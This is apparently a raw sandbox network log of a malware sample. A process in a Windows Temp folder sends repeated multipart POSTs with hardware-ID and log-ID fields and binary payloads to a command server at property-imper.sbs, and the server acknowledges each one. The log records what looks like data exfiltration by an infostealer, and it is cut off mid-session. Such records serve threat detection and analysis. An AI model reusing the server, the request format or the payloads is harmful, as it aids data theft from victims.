4r1FjZwdcMEDxbp1O7kxHYkT5XOTB3039EqjQVEnIDkzOpfKzVgyk1bWqWTrujWMnwIt8xZGdjRxynDHQ6Jye7GqgBvN3fHT1Fe5c/r4cVzLk6ZxkMc99PWJo8CR5eb+8/sSiVwPI9DTxa9ndj/2WMyCq3IQRTwxJY/zRsAl4WpkqpTLzx1x0JTXurS5/3Pfipan8tGFPje3y2ED0uahO3N6xhhcHXXBA8W083j4+B5KEHY1AEDt9XaYNtCRJyB
2024-11-24 11:24:59 UTC	1369	IN	Data Raw: 30 71 4e 48 58 4c 51 6c 67 57 71 35 33 70 39 34 34 71 5a 47 65 2f 2f 67 30 37 7a 5a 4c 4a 62 70 70 43 52 35 7a 4a 73 59 72 6d 57 79 4d 34 66 63 6c 4e 57 31 7a 73 31 75 4c 6b 79 6e 34 74 54 5a 37 4b 53 68 2f 32 31 74 6f 71 68 51 46 44 6e 34 62 6d 77 71 6f 57 62 7a 64 71 6a 78 77 58 63 2f 4c 57 34 4f 6d 4f 62 57 70 52 32 4d 78 44 57 71 2b 53 32 69 6d 46 42 45 57 63 69 4f 2f 43 37 31 41 72 4d 58 54 4a 52 31 68 53 34 4e 7a 68 36 38 4a 38 4c 6b 6d 5a 78 30 51 56 2f 4e 65 57 62 73 4d 46 57 4e 44 52 71 66 76 70 54 6a 67 67 66 6f 39 62 47 55 2b 6c 32 75 4b 76 6c 6a 49 6c 57 70 4c 42 51 52 2f 34 31 39 55 76 68 41 39 47 6e 49 50 67 77 75 78 58 4a 69 4a 78 77 30 70 51 57 4f 6e 54 34 2b 58 4e 66 32 51 47 32 4d 78 58 57 71 2b 53 2b 69 65 4f 4c 45 75 63 6a 71 6e 56 70 Data Ascii: 0qNHXLQlgWq53p944qZGe//g07zZLJbppCR5zJsYrmWyM4fclNW1zs1uLkyn4tTZ7KSh/21toqhQFDn4bmwqoWbzdqjxwXc/LW4OmObWpR2MxDWq+S2imFBEWciO/C71ArMXTJR1hS4Nzh68J8LkmZx0QV/NeWbsMFWNDRqfvpTjggfo9bGU+l2uKvljIlWpLBQR/419UvhA9GnIPgwuxXJiJxw0pQWOnT4+XNf2QG2MxXWq+S+ieOLEucjqnVp
2024-11-24 11:24:59 UTC	1369	IN	Data Raw: 79 79 46 77 58 44 71 58 72 36 66 2f 65 63 57 5a 35 6a 73 68 5a 45 66 72 65 6c 6a 2f 4e 47 77 43 58 68 61 6d 53 71 6c 34 67 4f 58 48 41 52 56 35 61 36 4e 6a 6e 36 73 39 30 49 45 4b 53 79 30 6b 63 39 74 66 63 49 34 49 49 53 5a 65 42 37 73 6e 34 47 47 46 77 64 64 63 45 44 78 62 4d 32 76 7a 68 33 6a 49 37 42 6f 47 4c 53 42 61 33 69 70 59 6b 69 51 31 45 6c 34 58 76 7a 2b 78 56 4c 6a 39 7a 7a 30 74 54 58 65 7a 62 37 2b 4c 4c 66 79 42 61 6b 73 42 41 46 76 37 65 32 32 44 4e 51 6b 65 49 79 62 47 4b 32 31 55 68 50 6e 58 5a 42 45 67 59 2f 4a 33 70 34 34 34 71 5a 45 6d 55 78 45 77 56 39 4e 48 58 4b 70 45 51 54 4a 6d 42 37 4d 62 68 56 69 6b 69 64 4d 42 4e 56 46 58 73 32 75 62 6a 78 48 45 6a 43 4e 61 4c 53 41 4b 33 69 70 59 44 6c 42 4a 4e 30 4a 61 6e 30 36 70 66 49 33 Data Ascii: yyFwXDqXr6f/ecWZ5jshZEfrelj/NGwCXhamSql4gOXHARV5a6Njn6s90IEKSy0kc9tfcI4IISZeB7sn4GGFwddcEDxbM2vzh3jI7BoGLSBa3ipYkiQ1El4Xvz+xVLj9zz0tTXezb7+LLfyBaksBAFv7e22DNQkeIybGK21UhPnXZBEgY/J3p444qZEmUxEwV9NHXKpEQTJmB7MbhVikidMBNVFXs2ubjxHEjCNaLSAK3ipYDlBJN0Jan06pfI3
2024-11-24 11:24:59 UTC	1369	IN	Data Raw: 52 56 50 6a 30 75 48 6d 78 33 59 73 53 35 6a 50 53 78 33 79 30 64 6f 72 68 41 46 50 6c 49 44 6e 77 2b 55 59 59 58 42 31 31 77 51 50 46 73 54 47 37 65 50 44 4d 6a 73 47 67 59 74 49 46 72 65 4b 6c 69 79 4e 42 30 43 61 6a 2b 33 50 37 46 49 71 4d 48 6e 4d 53 31 4e 51 34 64 4c 75 35 4d 64 7a 49 6b 32 53 77 45 6b 58 39 4e 54 51 59 4d 31 43 52 34 6a 4a 73 59 72 4b 51 79 49 38 64 59 39 62 47 55 2b 6c 32 75 4b 76 6c 6a 49 76 52 4a 7a 4d 54 78 66 30 32 74 4d 6b 69 51 64 41 6d 4a 76 68 79 75 31 4b 50 54 42 37 79 6b 68 55 56 75 48 62 35 2b 6e 4e 64 6d 51 47 32 4d 78 58 57 71 2b 53 2b 79 79 45 4b 30 65 4c 79 66 61 45 38 78 67 6f 50 44 4b 58 42 46 5a 64 37 39 4c 6a 37 4d 68 78 4c 30 32 53 79 6b 67 53 2b 73 44 56 4c 34 77 47 51 4a 2b 50 37 38 76 6c 58 69 67 35 63 38 64 Data Ascii: RVPj0uHmx3YsS5jPSx3y0dorhAFPlIDnw+UYYXB11wQPFsTG7ePDMjsGgYtIFreKliyNB0Caj+3P7FIqMHnMS1NQ4dLu5MdzIk2SwEkX9NTQYM1CR4jJsYrKQyI8dY9bGU+l2uKvljIvRJzMTxf02tMkiQdAmJvhyu1KPTB7ykhUVuHb5+nNdmQG2MxXWq+S+yyEK0eLyfaE8xgoPDKXBFZd79Lj7MhxL02SykgS+sDVL4wGQJ+P78vlXig5c8d
2024-11-24 11:24:59 UTC	366	IN	Data Raw: 2b 50 4a 2b 63 52 31 4e 45 2b 50 78 41 39 55 74 39 32 57 65 4c 70 43 53 5a 65 53 2b 4e 7a 6e 53 43 68 77 54 59 45 45 54 78 61 39 6e 64 76 73 77 48 77 6a 58 6f 6d 47 61 41 7a 39 31 63 59 6e 6c 41 30 41 33 73 6e 76 69 72 49 4c 59 58 42 32 33 67 51 50 42 72 65 47 75 37 79 5a 49 6e 5a 58 31 74 49 50 44 4c 65 4b 68 47 37 44 45 41 44 49 79 61 37 4a 2b 45 6f 70 4d 32 54 4d 41 32 6c 6f 77 73 66 6a 36 64 6c 6a 47 6e 61 66 30 55 49 63 34 4d 4f 61 4e 59 41 4d 54 70 65 66 71 59 53 71 56 32 39 6f 53 34 38 4d 46 32 6d 72 6e 66 61 76 6c 6a 49 52 53 35 62 46 53 41 7a 6d 6e 2f 45 36 6a 67 52 58 67 63 6d 6e 69 75 77 59 64 32 41 38 6a 30 42 47 46 72 32 4e 76 4c 53 62 49 58 4d 59 79 74 51 42 41 37 66 45 6c 6e 6a 52 54 41 43 43 79 62 47 4b 72 56 73 39 49 6e 54 4d 55 6c 51 52 Data Ascii: +PJ+cR1NE+PxA9Ut92WeLpCSZeS+NznSChwTYEETxa9ndvswHwjXomGaAz91cYnlA0A3snvirILYXB23gQPBreGu7yZInZX1tIPDLeKhG7DEADIya7J+EopM2TMA2lowsfj6dljGnaf0UIc4MOaNYAMTpefqYSqV29oS48MF2mrnfavljIRS5bFSAzmn/E6jgRXgcmniuwYd2A8j0BGFr2NvLSbIXMYytQBA7fElnjRTACCybGKrVs9InTMUlQR
2024-11-24 11:24:59 UTC	1369	IN	Data Raw: 31 30 34 36 0d 0a 68 6a 51 7a 75 72 59 2b 46 34 73 4a 6e 47 49 65 6d 6c 56 38 39 44 68 35 4d 39 4d 47 6d 61 56 79 6b 77 55 74 65 50 41 4c 5a 4d 42 52 5a 65 33 31 38 54 74 54 43 67 2b 64 4d 38 45 47 52 62 71 6e 62 62 57 6a 6a 70 6b 64 39 61 4c 56 31 71 76 6b 75 4d 6a 6a 51 78 48 68 70 69 6b 36 66 78 56 49 44 74 7a 6a 77 6f 58 55 4b 57 46 76 71 47 4f 64 6a 55 49 77 4a 73 64 51 61 4b 42 67 58 44 52 48 51 36 4a 79 66 2b 4b 73 67 70 68 63 47 43 50 48 42 63 52 36 39 44 76 37 4d 42 78 4e 6c 71 65 79 46 6b 5a 73 4f 7a 6f 41 59 34 4a 54 4a 32 47 34 76 54 55 65 53 49 37 66 73 4a 4c 58 47 6a 62 79 4f 33 68 77 48 55 79 57 64 69 46 44 78 57 33 69 75 39 67 79 30 4a 2f 33 73 6e 78 69 72 49 59 47 6a 4e 38 77 55 4e 42 52 36 6a 38 34 2b 54 43 66 79 74 44 32 49 55 50 48 4c Data Ascii: 1046hjQzurY+F4sJnGIemlV89Dh5M9MGmaVykwUtePALZMBRZe318TtTCg+dM8EGRbqnbbWjjpkd9aLV1qvkuMjjQxHhpik6fxVIDtzjwoXUKWFvqGOdjUIwJsdQaKBgXDRHQ6Jyf+KsgphcGCPHBcR69Dv7MBxNlqeyFkZsOzoAY4JTJ2G4vTUeSI7fsJLXGjbyO3hwHUyWdiFDxW3iu9gy0J/3snxirIYGjN8wUNBR6j84+TCfytD2IUPHL
2024-11-24 11:24:59 UTC	1369	IN	Data Raw: 78 44 78 2b 74 5a 37 71 32 75 78 62 45 51 35 5a 77 30 4a 51 54 4f 4c 62 79 4d 2b 4f 50 47 52 48 32 4a 4e 32 57 72 2b 53 36 57 37 44 47 67 44 49 79 64 7a 4a 35 46 59 6f 4a 6d 4f 43 59 55 42 56 39 64 76 74 72 34 41 79 49 67 6a 41 6d 77 46 61 38 38 4f 57 65 4e 4e 51 47 38 58 61 76 70 71 34 52 32 45 70 4d 74 6b 45 44 77 53 72 6e 66 79 76 6c 6a 4a 6a 53 34 72 5a 53 52 6e 68 30 5a 45 65 76 53 52 44 67 59 50 49 78 2f 70 66 45 51 35 6e 7a 45 70 5a 55 66 50 4d 72 71 47 4f 66 57 51 51 6f 59 73 48 56 76 48 52 77 47 43 38 54 41 43 49 79 62 47 4b 33 31 73 68 50 6e 58 5a 56 52 70 77 35 73 7a 6b 7a 73 4e 69 49 77 6a 57 69 30 6c 61 72 34 47 59 59 49 63 54 41 4d 6a 5a 75 35 47 2f 43 33 68 67 49 4e 41 4b 54 68 62 7a 6e 62 61 39 67 44 49 32 43 4d 43 4c 43 42 6e 6c 77 4e 41 Data Ascii: xDx+tZ7q2uxbEQ5Zw0JQTOLbyM+OPGRH2JN2Wr+S6W7DGgDIydzJ5FYoJmOCYUBV9dvtr4AyIgjAmwFa88OWeNNQG8Xavpq4R2EpMtkEDwSrnfyvljJjS4rZSRnh0ZEevSRDgYPIx/pfEQ5nzEpZUfPMrqGOfWQQoYsHVvHRwGC8TACIybGK31shPnXZVRpw5szkzsNiIwjWi0lar4GYYIcTAMjZu5G/C3hgINAKThbznba9gDI2CMCLCBnlwNA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49887	104.21.33.116	443	7488	C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 11:25:02 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CP82MRFZFF74NY2YGWS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18175 Host: property-imper.sbs
2024-11-24 11:25:02 UTC	15331	OUT	Data Raw: 2d 2d 43 50 38 32 4d 52 46 5a 46 46 37 34 4e 59 32 59 47 57 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 46 41 39 43 46 43 43 45 39 46 31 41 44 44 32 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 43 50 38 32 4d 52 46 5a 46 46 37 34 4e 59 32 59 47 57 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 43 50 38 32 4d 52 46 5a 46 46 37 34 4e 59 32 59 47 57 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --CP82MRFZFF74NY2YGWSContent-Disposition: form-data; name="hwid"9FA9CFCCE9F1ADD2D7CBBD6DF28D3732--CP82MRFZFF74NY2YGWSContent-Disposition: form-data; name="pid"2--CP82MRFZFF74NY2YGWSContent-Disposition: form-data; name="lid"LOGS11--Li
2024-11-24 11:25:02 UTC	2844	OUT	Data Raw: d2 6d b6 ae 65 d3 2c 95 40 cc 78 a8 6a 87 a7 66 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef Data Ascii: me,@xjf5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)
2024-11-24 11:25:04 UTC	1024	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:25:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=oi8sfdltrtnrprpep6o1e8d4nk; expires=Thu, 20-Mar-2025 05:11:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kTJ4kOl0KrsocTxE0aO%2Bz2kqdPXe3H%2FH3LqwFaIIpRmYIQPOu4NyQ0sp3hzYer0vZ8yMfofV2Oy%2BbkOgkX81%2BLBePl1%2Fawsdt9LAZBZk3Gfqeez%2BbegD6I2aBSzlaPITXLWnj8M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79093e8e230f87-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1617&sent=12&recv=23&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19140&delivery_rate=1707602&cwnd=250&unsent_bytes=0&cid=d762cf6bbf5c4abf&ts=1071&x=0"
2024-11-24 11:25:04 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 11:25:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49896	104.21.33.116	443	7488	C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 11:25:07 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ME1BWHAVAY07LP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8766 Host: property-imper.sbs
2024-11-24 11:25:07 UTC	8766	OUT	Data Raw: 2d 2d 4d 45 31 42 57 48 41 56 41 59 30 37 4c 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 46 41 39 43 46 43 43 45 39 46 31 41 44 44 32 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 4d 45 31 42 57 48 41 56 41 59 30 37 4c 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4d 45 31 42 57 48 41 56 41 59 30 37 4c 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4d 45 Data Ascii: --ME1BWHAVAY07LPContent-Disposition: form-data; name="hwid"9FA9CFCCE9F1ADD2D7CBBD6DF28D3732--ME1BWHAVAY07LPContent-Disposition: form-data; name="pid"2--ME1BWHAVAY07LPContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--ME
2024-11-24 11:25:08 UTC	1017	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:25:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v8l0dl62f5lujbs464vaemrfd7; expires=Thu, 20-Mar-2025 05:11:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=17PFrbVe4%2BPKez%2FJVv7BGRPeYOVMKGXEVgvLM2Ask0nfQzHHuYteDFG6BF0PIcRyLRFbx6s8DNk0al2LFBIMYQS8spOKYBZuxzKPDIFPzi5H%2FP6te4CCtXxMeYzPUHJQ77rTSr0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79095d7f2b431b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1753&sent=13&recv=15&lost=0&retrans=0&sent_bytes=2845&recv_bytes=9703&delivery_rate=1647855&cwnd=242&unsent_bytes=0&cid=886d1f70efe041ed&ts=1205&x=0"
2024-11-24 11:25:08 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 11:25:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49908	104.21.33.116	443	7488	C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 11:25:11 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=8932I02A User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20383 Host: property-imper.sbs
2024-11-24 11:25:11 UTC	15331	OUT	Data Raw: 2d 2d 38 39 33 32 49 30 32 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 46 41 39 43 46 43 43 45 39 46 31 41 44 44 32 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 38 39 33 32 49 30 32 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 38 39 33 32 49 30 32 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 38 39 33 32 49 30 32 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --8932I02AContent-Disposition: form-data; name="hwid"9FA9CFCCE9F1ADD2D7CBBD6DF28D3732--8932I02AContent-Disposition: form-data; name="pid"3--8932I02AContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--8932I02AContent-Di
2024-11-24 11:25:11 UTC	5052	OUT	Data Raw: 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b dc 40 f0 eb b1 64 f0 52 3c 78 29 f8 d7 Data Ascii: lrQMn 64F6(X&7~`aO@dR<x)
2024-11-24 11:25:12 UTC	1021	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:25:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=arpk1t1llo0jcdvjc96b2rffl2; expires=Thu, 20-Mar-2025 05:11:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Yr9VrW3PN3SoRtfaMI1g%2F5lJaH6PXR7nZa4g226TS%2Bb%2BDTEtJUBEbeO8L%2BkkyL53Y3vVe6DHWel6GTs3O%2FuP7PABoqBS6G4NOSsUFjlWAYgkwUtZNaXUB9qeAJESTmalAzzN6kI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79097339494339-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1864&sent=20&recv=25&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21337&delivery_rate=1515308&cwnd=224&unsent_bytes=0&cid=4ef2f07d29bc706c&ts=909&x=0"
2024-11-24 11:25:12 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 11:25:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49952	104.21.33.116	443	7488	C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 11:25:27 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KBAL8DCQF994YB2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1347 Host: property-imper.sbs
2024-11-24 11:25:27 UTC	1347	OUT	Data Raw: 2d 2d 4b 42 41 4c 38 44 43 51 46 39 39 34 59 42 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 46 41 39 43 46 43 43 45 39 46 31 41 44 44 32 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 4b 42 41 4c 38 44 43 51 46 39 39 34 59 42 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4b 42 41 4c 38 44 43 51 46 39 39 34 59 42 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --KBAL8DCQF994YB2Content-Disposition: form-data; name="hwid"9FA9CFCCE9F1ADD2D7CBBD6DF28D3732--KBAL8DCQF994YB2Content-Disposition: form-data; name="pid"1--KBAL8DCQF994YB2Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-11-24 11:25:28 UTC	1018	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:25:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=939odpjr4qbfhb4aj72f996mq0; expires=Thu, 20-Mar-2025 05:12:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P%2FSAaXgw4JsYeVNeQRyQwYTsOxUwIDJG2whWJiqjcQEUrj5Smxg6iJivPMn338Mp3gshXtq%2Fid%2BDNwD6%2Fr8IrZo7tLfAY3oN5xhdyCZM9iA0nANvfEJvV6L%2FbvEFPrknhfuGCTY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7909d7dfe842f1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2121&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2263&delivery_rate=1360037&cwnd=195&unsent_bytes=0&cid=3dd740ac8dc20c99&ts=691&x=0"
2024-11-24 11:25:28 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 11:25:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49974	104.21.33.116	443	7488	C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 11:25:37 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BHWHMPWSGBXYF3XD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 580965 Host: property-imper.sbs
